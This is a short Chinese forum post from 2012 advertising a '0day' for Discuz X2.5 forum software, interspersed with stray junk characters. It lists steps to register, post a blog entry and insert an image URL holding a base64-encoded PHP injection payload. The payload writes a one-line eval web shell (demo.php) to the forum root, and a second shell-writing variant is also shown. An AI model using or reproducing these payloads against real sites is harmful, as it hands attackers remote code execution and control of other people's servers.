DZ X2.5最新0day& A ?1 G8 K1 [1 n8 w
1.注册任意账户( ~/ P0 ?3 N0 o3 A5 j3 Q, q9 Y7 g
2.登陆用户，发表blog日志（注意是日志） //点击一下中间注册的用户名 就看到了
9 ~7 f3 P+ P, u. p! r6 W2 `6 ^, Z3.添加图片，选择网络图片，地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}} //所使用代码
- r' p; l" Q6 n" ?: D6 x3 r<?php @eval($_POST[c]); ?>ok- I; F2 e C4 A2 |5 O
<?fputs(fopen("dome","w"),"<?eval(\$_POST[c]);?>")?> 0 `3 L! u7 y( `5 E$ s
4.访问日志，论坛根目录下生成demo.php，一句发密码C |
发表于 2012-10-19 08:30:36
收藏
支持
反对
发表于 2012-10-21 12:23:43